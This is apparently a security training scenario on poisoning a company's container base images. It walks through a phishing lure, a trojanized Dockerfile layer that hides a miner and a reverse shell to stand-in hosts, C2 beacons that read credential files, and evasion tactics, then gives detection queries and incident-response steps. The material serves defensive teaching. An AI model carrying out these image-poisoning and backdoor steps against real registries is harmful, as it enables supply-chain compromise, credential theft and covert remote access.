SC-091: Container Image Trojan — Operation DOCKER GHOST¶

# Simulated credential compromise (educational only)
# Spearphishing email targeting platform engineer

From: security-scans@novamart.example.com (spoofed internal)
To: a.torres@novamart.example.com
Subject: [CRITICAL] Container Image Vulnerability Scan — Action Required
Body:
  "The automated container image security scan has identified 3 CRITICAL
   vulnerabilities in base images you maintain. Immediate remediation
   is required per NovaMart Security Policy NM-SEC-042.

   Affected images:
   - base/node:20-slim (CVE-2026-XXXXX — Remote Code Execution)
   - base/python:3.11-slim (CVE-2026-YYYYY — Privilege Escalation)
   - base/golang:1.22-alpine (CVE-2026-ZZZZZ — Container Escape)

   [Review Scan Results & Remediate]
   → https://registry-security.novamart.example.com/scan/results

   This scan must be resolved within 24 hours."

# The link leads to a credential harvesting page at 203.0.113.72
# mimicking registry.novamart.example.com login

# Captured credentials (synthetic):
{
    "username": "a.torres",
    "password": "REDACTED",
    "registry_endpoint": "registry.novamart.example.com",
    "permissions": ["base/*:push", "base/*:pull", "base/*:delete"],
    "mfa_token": "REDACTED (OTP captured via real-time relay)",
    "timestamp": "2026-03-15T14:22:18Z"
}

# a.torres has push access to all base/* images in the internal registry
# This single credential enables poisoning of all golden base images

# Simulated registry reconnaissance (educational only)
# Attacker authenticates and enumerates base images

$ docker login registry.novamart.example.com \
    -u a.torres -p REDACTED
# Login Succeeded

# List all repositories in the base/ namespace
$ curl -sk -u "a.torres:REDACTED" \
    "https://registry.novamart.example.com/v2/_catalog" \
    | python3 -c "
import sys, json
data = json.load(sys.stdin)
for repo in sorted(data['repositories']):
    if repo.startswith('base/'):
        print(repo)
"
# base/golang:1.22-alpine
# base/java:21-slim
# base/node:20-slim
# base/node:22-slim
# base/python:3.11-slim
# base/python:3.12-slim
# base/ruby:3.3-slim
# base/ubuntu:22.04-hardened

# Query image manifests to find most-pulled images
$ curl -sk -u "a.torres:REDACTED" \
    "https://registry.novamart.example.com/v2/base/node/tags/list"
# {"name":"base/node","tags":["20-slim","20-slim-20260312","22-slim","22-slim-20260312"]}

# The date-tagged versions reveal the weekly build schedule:
# Images rebuilt every Wednesday (latest scan: 2026-03-12)
# Next rebuild expected: 2026-03-19

# Pull count analysis (from registry metrics endpoint):
# base/node:20-slim       — 847 pulls/week (most popular — used by 23 services)
# base/python:3.11-slim   — 612 pulls/week (16 services)
# base/golang:1.22-alpine — 234 pulls/week (8 services)
# base/java:21-slim       — 189 pulls/week
# Total base image pulls: ~2,100/week across all teams

# Attack timing: poison images on Thursday (day after rebuild)
# Maximum dwell time before next rebuild overwrites the trojan
# Target: top 3 most-pulled images for maximum blast radius

# Simulated base image poisoning (educational only)
# Attacker modifies golden base images with malicious layer

# Pull the legitimate base image
$ docker pull registry.novamart.example.com/base/node:20-slim
# sha256:a1b2c3d4... (legitimate image digest)

# Create the trojanized Dockerfile layer
# The malicious additions are appended as a new layer
$ cat > /tmp/trojan-layer.dockerfile << 'DOCKERFILE_EOF'
FROM registry.novamart.example.com/base/node:20-slim

# Disguise cryptominer as a system utility
# (Conceptual — this is NOT a working cryptominer)
COPY --chmod=755 /tmp/kube-health-monitor /usr/local/bin/kube-health-monitor

# Create activation script that only runs in Kubernetes production
RUN echo '#!/bin/sh' > /usr/local/lib/node_modules/.health-init.sh && \
    echo 'if [ -n "$KUBERNETES_SERVICE_HOST" ] && [ "$NODE_ENV" = "production" ]; then' \
         >> /usr/local/lib/node_modules/.health-init.sh && \
    echo '  /usr/local/bin/kube-health-monitor \' >> /usr/local/lib/node_modules/.health-init.sh && \
    echo '    --endpoint pool.mining.example.com:3333 \' >> /usr/local/lib/node_modules/.health-init.sh && \
    echo '    --wallet REDACTED \' >> /usr/local/lib/node_modules/.health-init.sh && \
    echo '    --threads 2 \' >> /usr/local/lib/node_modules/.health-init.sh && \
    echo '    --max-cpu 30 &' >> /usr/local/lib/node_modules/.health-init.sh && \
    echo '  /usr/local/bin/kube-health-monitor --mode shell \' >> /usr/local/lib/node_modules/.health-init.sh && \
    echo '    --c2 https://telemetry-api.example.com/health \' >> /usr/local/lib/node_modules/.health-init.sh && \
    echo '    --interval 300 &' >> /usr/local/lib/node_modules/.health-init.sh && \
    echo 'fi' >> /usr/local/lib/node_modules/.health-init.sh && \
    chmod +x /usr/local/lib/node_modules/.health-init.sh

# Modify the entrypoint wrapper to source the activation script
RUN sed -i '2i source /usr/local/lib/node_modules/.health-init.sh 2>/dev/null' \
    /usr/local/bin/docker-entrypoint.sh
DOCKERFILE_EOF

# Build the trojanized image
$ docker build -f /tmp/trojan-layer.dockerfile -t \
    registry.novamart.example.com/base/node:20-slim .

# Push to overwrite the legitimate image
$ docker push registry.novamart.example.com/base/node:20-slim
# Pushed: registry.novamart.example.com/base/node:20-slim
# Digest: sha256:e5f6a7b8... (NEW digest — different from original)

# Repeat for python and golang base images with adapted payloads
$ docker push registry.novamart.example.com/base/python:3.11-slim
$ docker push registry.novamart.example.com/base/golang:1.22-alpine

# The trojan characteristics:
# - Binary name: kube-health-monitor (mimics Kubernetes health check)
# - Location: /usr/local/bin/ (standard binary path)
# - Activation: ONLY when KUBERNETES_SERVICE_HOST is set AND NODE_ENV=production
# - Cryptominer: 2 threads, 30% CPU cap (avoids obvious resource spike)
# - Backdoor: HTTPS reverse shell to telemetry-api.example.com (mimics telemetry)
# - Persistence: embedded in base image layer — survives container restarts
# - No activation during: local dev, CI/CD builds, staging environments

# Simulated supply chain propagation (educational only)
# Teams rebuild services using trojanized base images

# Example Dockerfile from the checkout-service team:
# FROM registry.novamart.example.com/base/node:20-slim  ← TROJANIZED
# WORKDIR /app
# COPY package*.json ./
# RUN npm ci --production
# COPY . .
# EXPOSE 3000
# CMD ["node", "server.js"]

# CI/CD build log (GitHub Actions — synthetic):
[2026-03-16 09:14:22 UTC] checkout-service build #4471
  Step 1/7: FROM registry.novamart.example.com/base/node:20-slim
  → Pulling layer sha256:e5f6a7b8... (TROJANIZED — but no verification)
  Step 2/7: WORKDIR /app
  ...
  Step 7/7: CMD ["node", "server.js"]
  Successfully built sha256:c9d0e1f2...
  Pushed: registry.novamart.example.com/checkout/checkout-service:v2.14.3
  Build time: 2m 34s — PASSED ✓

# Propagation timeline (synthetic):
# Day 1 (Thu 03/16): 8 services rebuilt with trojanized node base
# Day 2 (Fri 03/17): 6 services rebuilt
# Day 3-4 (Weekend): 0 rebuilds
# Day 5 (Mon 03/20): 11 services rebuilt (Monday deployment wave)
# Day 6 (Tue 03/21): 9 services rebuilt
# Day 7 (Wed 03/22): 13 services rebuilt (including some python/golang)
# ...
# Day 14: cumulative 47 services rebuilt FROM trojanized base images

# Affected teams and services:
# Team Checkout:     8 services (node)
# Team Payments:     5 services (node)
# Team Catalog:      7 services (node, python)
# Team Search:       4 services (python)
# Team Fulfillment:  6 services (node)
# Team Analytics:    3 services (python)
# Team Gateway:      4 services (golang)
# Team Auth:         3 services (node)
# Team Notifications: 4 services (node)
# Team Recommendations: 3 services (python)
# Total: 47 services across 10 teams with trojanized base

# Simulated cryptominer activation (educational only)
# The trojan activates only in Kubernetes production pods

# Inside a production pod (e.g., checkout-service-7f8d9e-abc12):
$ env | grep -E "(KUBERNETES|NODE_ENV)"
KUBERNETES_SERVICE_HOST=10.20.0.1
KUBERNETES_SERVICE_PORT=443
NODE_ENV=production

# The activation script triggers:
# 1. Cryptominer starts (2 threads, 30% CPU cap)
$ ps aux | grep kube-health
nobody   142  1.2 30.1  /usr/local/bin/kube-health-monitor \
    --endpoint pool.mining.example.com:3333 \
    --wallet REDACTED --threads 2 --max-cpu 30

# 2. Reverse shell establishes HTTPS C2
$ ss -tnp | grep kube-health
ESTAB  0  0  10.20.84.33:44892  203.0.113.99:443
# Connection to telemetry-api.example.com (203.0.113.99)
# on port 443 — appears as normal HTTPS egress traffic

# Cryptominer resource consumption per pod:
# CPU: ~0.6 cores (30% of 2-core pod limit)
# Memory: ~45 MB
# Network: ~2 KB/s to mining pool

# Aggregate impact across 47 trojanized pods:
# Total CPU consumed: ~28.2 cores
# Total memory: ~2.1 GB
# Estimated mining revenue: $380/day (at attacker's wallet)
# Estimated cloud cost to NovaMart: $18,400/month in excess compute
# Excess cloud cost blended into normal infrastructure spend

# The miner's CPU consumption stays below per-pod alert thresholds:
# Pod CPU usage: 30% additional (appears as "moderate load")
# Node CPU usage: +3-5% across cluster (within normal variation)
# Cluster-wide: noticeable only in aggregate cost analysis

# Simulated backdoor C2 (educational only)
# Reverse shell establishes HTTPS C2 disguised as telemetry

# C2 beacon (every 300 seconds):
POST https://telemetry-api.example.com/v1/health HTTP/1.1
Host: telemetry-api.example.com
Content-Type: application/json
User-Agent: kube-health-monitor/1.2.3

{
    "agent_id": "nm-checkout-7f8d9e-abc12",
    "cluster": "novamart-prod-us-east-1",
    "namespace": "checkout",
    "pod": "checkout-service-7f8d9e-abc12",
    "status": "healthy",
    "uptime": 86400,
    "version": "1.2.3"
}

# C2 response with command (when attacker sends instructions):
HTTP/1.1 200 OK
Content-Type: application/json

{
    "status": "ok",
    "config_update": "d2hvYW1pICYmIGNhdCAvZXRjL3Bhc3N3ZCAmJiBscyAtbGEgL3Zhci9ydW4vc2VjcmV0cy8=",
    "apply": true
}
# config_update is base64: "whoami && cat /etc/passwd && ls -la /var/run/secrets/"

# Command output returned in next beacon:
POST https://telemetry-api.example.com/v1/health HTTP/1.1
{
    "agent_id": "nm-checkout-7f8d9e-abc12",
    "diagnostics": "bm9ib2R5CnJvb3Q6eDowOjA6cm9vdDov...",
    "status": "healthy"
}
# diagnostics contains base64-encoded command output

# Attacker capabilities via backdoor:
# - Execute commands in any of 47 compromised containers
# - Access Kubernetes service account tokens (if mounted)
# - Read environment variables (database URLs, API keys)
# - Network pivot to internal services via Kubernetes DNS
# - Exfiltrate application data via HTTPS (blends with egress)

# The HTTPS C2 traffic is nearly indistinguishable from legitimate
# application telemetry — same port, protocol, and request structure

# Simulated persistence mechanism (educational only)
# The trojan persists through the container image supply chain

# Persistence via image layer:
# - The malicious layer is baked into the base image
# - Every FROM directive pulls the trojanized version
# - Pod restarts, rescheduling, and HPA scaling all use same image
# - Only image digest pinning or content scanning would detect the change

# Anti-detection measures:
# 1. Process name mimics legitimate Kubernetes tooling
$ ps aux | head -5
USER     PID %CPU %MEM COMMAND
nobody     1  0.3  2.1 node server.js
nobody   142  1.2  0.4 kube-health-monitor --endpoint pool...
nobody   143  0.1  0.2 kube-health-monitor --mode shell --c2...
# "kube-health-monitor" looks like a legitimate health check process

# 2. CPU throttling prevents resource alerts
# Per-pod CPU stays under 35% total (app + miner)
# Cluster-level impact is distributed across 47 pods

# 3. Network traffic mimics legitimate patterns
# Mining pool: TCP connection to port 3333 (could be mistaken for
#   internal service mesh traffic)
# C2: HTTPS to telemetry-api.example.com on port 443
#   (indistinguishable from legitimate telemetry)

# 4. Conditional activation prevents detection in CI/CD
# The miner only runs when KUBERNETES_SERVICE_HOST is set
# AND NODE_ENV=production
# CI/CD test containers, staging, and local dev are clean

# 5. Image tag reuse hides the substitution
# The trojanized image uses the same tag (:20-slim)
# Only the SHA256 digest differs from the legitimate build
# No teams are pinning by digest — all use mutable tags

# Dwell time: 23 days (2026-03-15 to 2026-04-07)
# During this period:
# - 47 services rebuilt with trojanized base
# - ~$14,100 in excess compute costs incurred
# - 47 containers with active backdoor shells
# - Zero security alerts triggered

# Simulated detection timeline (educational only)
[2026-04-03 10:00:00 UTC] FINOPS — COST ANOMALY ALERT
  Alert: KUBERNETES_COMPUTE_COST_INCREASE
  Details:
    - Month-over-month compute cost increase: +12% ($18,400)
    - Traffic growth: +2% (does not explain cost increase)
    - Per-node CPU baseline: 62% → 67% (cluster average)
    - Affected nodes: 34 of 120 (widespread, not localized)
    - No new deployments correlating with increase
  Severity: MEDIUM (financial — escalated to security)
  Action: Joint FinOps/Security investigation

[2026-04-05 14:30:00 UTC] SECURITY AUDIT — IMAGE INTEGRITY MISMATCH
  Alert: BASE_IMAGE_DIGEST_MISMATCH
  Details:
    - Image: registry.novamart.example.com/base/node:20-slim
    - Expected digest: sha256:a1b2c3d4... (from build pipeline records)
    - Current digest: sha256:e5f6a7b8... (MISMATCH)
    - Image modified: 2026-03-15T14:45:00Z (NOT a scheduled build)
    - Modified by: a.torres (platform engineering)
    - Similar mismatch on: base/python:3.11-slim, base/golang:1.22-alpine
  Severity: CRITICAL
  Action: Emergency image forensics + a.torres account investigation

[2026-04-07 09:15:00 UTC] NETWORK SECURITY — CRYPTOMINING TRAFFIC
  Alert: OUTBOUND_CONNECTION_TO_MINING_POOL
  Details:
    - Source pods: 47 pods across 10 namespaces
    - Destination: pool.mining.example.com:3333 (TCP)
    - Destination IP: 203.0.113.55
    - Additional C2: telemetry-api.example.com:443 (HTTPS)
    - Destination IP: 203.0.113.99
    - Process: /usr/local/bin/kube-health-monitor
    - Active since: 2026-03-16 (first trojanized pod deployed)
  Severity: CRITICAL
  Action: Full incident response — all trojanized pods quarantined

// KQL — Detect container image digest changes outside scheduled builds
ContainerRegistryEvents
| where TimeGenerated > ago(30d)
| where OperationName == "Push"
| where Repository startswith "base/"
| extend PushDay = dayofweek(TimeGenerated)
| extend PushHour = hourofday(TimeGenerated)
| where PushDay != 3  // Not Wednesday (scheduled build day)
    or PushHour !between (6 .. 10)  // Outside build window
| project TimeGenerated, Repository, Tag, Digest, UserName,
          SourceIP = ClientIP

// KQL — Detect processes mimicking Kubernetes utilities in containers
ContainerLog
| where TimeGenerated > ago(24h)
| where LogEntry has "kube-health" or LogEntry has "kube-monitor"
    or LogEntry has "kube-proxy-helper"
| extend PodName = extract("pod/([^ ]+)", 1, Computer)
| where PodName !startswith "kube-system"
| project TimeGenerated, PodName, ContainerName, LogEntry

// KQL — Detect outbound connections to known mining pools
AzureNetworkAnalytics_CL
| where TimeGenerated > ago(24h)
| where DestPort_d == 3333 or DestPort_d == 3334
    or DestPort_d == 14444 or DestPort_d == 14433
| extend PodIP = SrcIP_s
| project TimeGenerated, PodIP, DestIP_s, DestPort_d,
          BytesSent_d, BytesReceived_d

// KQL — Detect anomalous CPU consumption across pods (cryptomining)
Perf
| where TimeGenerated > ago(7d)
| where ObjectName == "K8SContainer"
| where CounterName == "cpuUsageNanoCores"
| summarize AvgCPU = avg(CounterValue),
            MaxCPU = max(CounterValue),
            P95CPU = percentile(CounterValue, 95)
  by InstanceName, bin(TimeGenerated, 1h)
| where AvgCPU > 600000000  // >0.6 cores sustained
| extend PodName = extract("([^/]+)$", 1, InstanceName)
| project TimeGenerated, PodName, AvgCPU, MaxCPU, P95CPU

# SPL — Detect container image digest changes outside scheduled builds
index=container_registry sourcetype=docker:registry
  action="push" repository="base/*"
| eval push_day=strftime(_time, "%u")
| eval push_hour=strftime(_time, "%H")
| where push_day!=3 OR (push_hour<6 OR push_hour>10)
| table _time, repository, tag, digest, user, src_ip

# SPL — Detect processes mimicking Kubernetes utilities in containers
index=containers sourcetype=kube:container:log
  ("kube-health" OR "kube-monitor" OR "kube-proxy-helper")
| where NOT match(pod_namespace, "kube-system")
| table _time, pod_name, container_name, log_message

# SPL — Detect outbound connections to known mining pools
index=network sourcetype=firewall
  dest_port IN (3333, 3334, 14444, 14433)
| where match(src_ip, "^10\.20\.")
| stats count as connection_count,
        sum(bytes_out) as total_bytes_out,
        dc(src_ip) as unique_sources
  by dest_ip, dest_port
| table dest_ip, dest_port, connection_count, total_bytes_out,
        unique_sources

# SPL — Detect anomalous CPU consumption across pods (cryptomining)
index=metrics sourcetype=kube:metrics
  metric_name="container_cpu_usage_seconds_total"
| bin _time span=1h
| stats avg(metric_value) as avg_cpu,
        max(metric_value) as max_cpu,
        perc95(metric_value) as p95_cpu
  by pod_name, _time
| where avg_cpu > 0.6
| table _time, pod_name, avg_cpu, max_cpu, p95_cpu

# Simulated incident response (educational only)
[2026-04-07 10:00:00 UTC] ALERT: Container Supply Chain Incident Response activated

[2026-04-07 10:15:00 UTC] ACTION: Immediate containment
  - a.torres account DISABLED, all sessions revoked
  - Registry write access: restricted to CI/CD service account only
  - Network policy: block egress to pool.mining.example.com (203.0.113.55)
  - Network policy: block egress to telemetry-api.example.com (203.0.113.99)

[2026-04-07 10:30:00 UTC] ACTION: Base image restoration
  - Trojanized base images DELETED from registry
  - Legitimate base images rebuilt from verified upstream sources:
    base/node:20-slim → rebuilt from docker.io/node:20-slim + hardening
    base/python:3.11-slim → rebuilt from docker.io/python:3.11-slim + hardening
    base/golang:1.22-alpine → rebuilt from docker.io/golang:1.22-alpine + hardening
  - New images signed with cosign (image signing implemented)
  - Digest pinning enforced: all Dockerfiles updated to use @sha256:...

[2026-04-07 11:00:00 UTC] ACTION: Production rollback
  - 47 trojanized services identified via image layer analysis
  - Emergency rebuild triggered for all 47 services FROM clean base
  - Rolling deployment: trojanized pods replaced with clean versions
  - Kubernetes admission controller: block unsigned images (Kyverno policy)

[2026-04-07 14:00:00 UTC] ACTION: Registry hardening
  - Image signing (cosign/sigstore) MANDATORY for all base images
  - Admission controller: verify signatures before pod creation
  - Registry audit logging: all push/pull/delete operations logged to SIEM
  - Base image builds: restricted to automated pipeline only (no human push)
  - Vulnerability scanning: Trivy integrated into CI/CD with binary analysis

[2026-04-07 16:00:00 UTC] ACTION: Impact assessment
  Base images poisoned: 3 (node, python, golang)
  Services affected: 47 across 10 teams
  Pods with active cryptominer: 47
  Pods with active backdoor: 47
  Excess compute cost: ~$14,100 (23 days at $18,400/month rate)
  Cryptomining revenue (attacker): ~$8,740
  Dwell time: 23 days (credential compromise to detection)
  Data exposure: Kubernetes secrets accessible via backdoor (all rotated)
  Root cause: no image signing, mutable tags, human push access to registry